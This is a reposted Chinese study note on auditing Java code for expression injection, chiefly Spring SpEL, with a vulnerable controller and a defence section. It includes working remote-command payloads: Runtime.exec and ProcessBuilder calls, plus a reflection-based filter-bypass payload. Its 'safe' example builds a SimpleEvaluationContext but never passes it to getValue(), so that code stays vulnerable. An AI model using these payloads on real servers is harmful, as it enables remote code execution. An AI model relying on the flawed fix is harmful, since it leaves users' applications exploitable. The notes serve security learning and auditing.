首页 > 编程语言 >学习笔记-java代码审计-表达式注入

学习笔记-java代码审计-表达式注入

时间:2022-11-13 08:44:16浏览次数:70  
标签:java String 笔记 漏洞 spel new 表达式

java代码审计-表达式注入

0x01漏洞挖掘

spel

spel表达式有三种用法:

  1. 注解

    @value("#{表达式}")
    public String arg;
    

    这种一般是写死在代码中的,不是关注的重点。

  2. xml

    <bean id="Bean1" class="com.test.xxx">
    	<property name="arg" value="#{表达式}">
    </bean>
    

    这种情况通常也是写死在代码中的,但是也有已知的利用场景,就是利用反序列化让程序加载我们实现构造好的恶意xml文件,如jackson的CVE-2017-17485、weblogic的CVE-2019-2725等。

  3. 在代码中处理外部传入的表达式

    这部分是关注的重点。

    @RequestMapping("/spel")
    public String spel(@RequestParam(name = "spel") String spel) {
        ExpressionParser expressionParser = new SpelExpressionParser();
        Expression expression = expressionParser.parseExpression(spel);
        Object object = expression.getValue();
        return object.toString();
    }
    

漏洞可以利用的前置条件有三个:

  1. 传入的表达式为过滤
  2. 表达式解析之后调用了getValue/setValue方法
  3. 使用StandardEvaluationContext(默认)作为上下文对象

spel表达式功能非常强大,在漏洞利用方面主要使用这几个功能:

  • 使用T(Type)表示Type类的实例,Type为全限定名称,如T(com.test.Bean1)。但是java.lang例外,该包下的类可以不指定包名。得到类实例后会访问类静态方法与字段。

    T(java.lang.Runtime).getRuntime().exec("whoami")
    
  • 直接通过java语法实例化对象、调用方法

    new ProcessBuilder("whoami").start()
    
    //可以利用反射来绕过一些过滤
    #{''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('ex'+'ec',''.getClass()).invoke(''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(null),'calc')}
    

jexl

关于jexl,比较有代表性的就是前段时间Nexus的rce,Nexus Repository Manager 3 RCE 分析 -【CVE-2019-7238】文章在这,不再赘述。

其它

还有其它种类的表达式,如EL,不会轻易造成安全问题,暂时略过;OGNL表达式会在struts2相关的漏洞中详细说明。

0x02漏洞防御

  1. 最简单的方式,使用SimpleEvaluationContext作为上下文对象。

    @RequestMapping("/spel")
    public String spel(@RequestParam(name = "spel") String spel) {
        ExpressionParser expressionParser = new SpelExpressionParser();
        Expression expression = expressionParser.parseExpression(spel);
      	
      	//SimpleEvaluationContext减少了一部分功能,并在权限控制上进一步细化
      	//可以配置让spel表达式只能访问指定对象
      	Category category = new Category();
        EvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().withRootObject(category).build();
      
        Object object = expression.getValue();
        return object.toString();
    }
    
  2. 如果SimpleEvaluationContext不能满足需求,就需要对输入进行严格的过滤。

0x03参考链接

SpEL表达式注入

Java特色-表达式注入漏洞从入门到放弃

Nexus Repository Manager 3 RCE 分析 -【CVE-2019-7238】

点击关注,共同学习!
安全狗的自我修养

github haidragon

https://github.com/haidragon

标签:java,String,笔记,漏洞,spel,new,表达式
From: https://www.cnblogs.com/haidragon/p/16885372.html

相关文章

  • 【Javaweb】做一个房产信息管理系统三(src目录的部署工作【三层框架】各个层含义)
    接下来,我打算进行Java文件的部署工作,但实际上为了得到更多的分数,我们还是应该先做页面首先我们需要了解对于Javaweb,src下的目录应该如何部署:(三层架构单独开一篇讲) 那......
  • java.util.List如何用
    起因是这样,我在学习Javaweb,然后就突然有很多类似的语句  这是什么意思呢?让我们一起来解决看看吧!List有序集合(也成为序列),用户可以精确控制列表中每个元素的插入位置。......
  • 工业机器人基础笔记(一)
    第一章续论读者可自行学习,笔记从第二章开始。此笔记仅仅为抄录,便于复习。按照拓扑结构分类,我们把工业机器人分为三类。串联机器人并联机器人混联机器人那什么是拓扑......
  • JAVA注解(Annotation)
    注解(Annotation)什么是注解Annotation的作用:不是程序本身,可以对程序做出解释,这一点和注释(comment)没什么区别。可以被其他程序(比如编译器)读取Annotation的格式:注......
  • 【Javaweb】做一个房产信息管理系统二
    由于我还不太熟练用sql语句写数据库,所以直接用navicate了我们需要新建四个数据表:adimin(超级管理员信息)customer(顾客)property(房产信息)realestate(房产经纪人信息)我发现......
  • 【读书笔记】《Verilog HDL数字设计与综合(第二版 本科教学版)》第一章:Verilog HDL数字
    一、数字电路CAD技术的发展历史真空管晶体管,集成电路(IntegratedCircuit,IC)小规模集成电路(SmallScaleIntegrated,SSI):逻辑门数量很少中规模集成电路(MediumScaleI......
  • 02-类与对象 进行试验--Java字段初始化的规律
    1.类的构造方法(1)“构造方法”,也称为“构造函数”,当创建一个对象时,它的构造方法会被自动调用。构造方法与类名相同,没有返回值。(2)如果类没有定义构造函数,Java编译器......
  • Javascript(笔记32) - ES6特性 - let
    Javascript(笔记32)-ES6ECMA EuropeanComputerManufactureresAssociation,中文名:欧洲计算机制造商协会,目标是评估、开发和认可电信和计算机标准。1994年后改名为 ECM......
  • Head First Java 读书笔记
    第13章:Swing什么是Swing组件?组件(Component),也称作元件。它们就是那些放在界面上与用户进行交互的东西,如Button/List等。事实上,这些GUI组件,都来自于java.swing.JC......
  • Head First Java 读书笔记 14章
    第14章:序列化与文件的输入输出对象可以被序列化,也可以展开。对象有状态和行为两种属性,行为存在于类中,而状态存在于个别的对象中。本章将讨论以下两种选项:1.如果只有自己......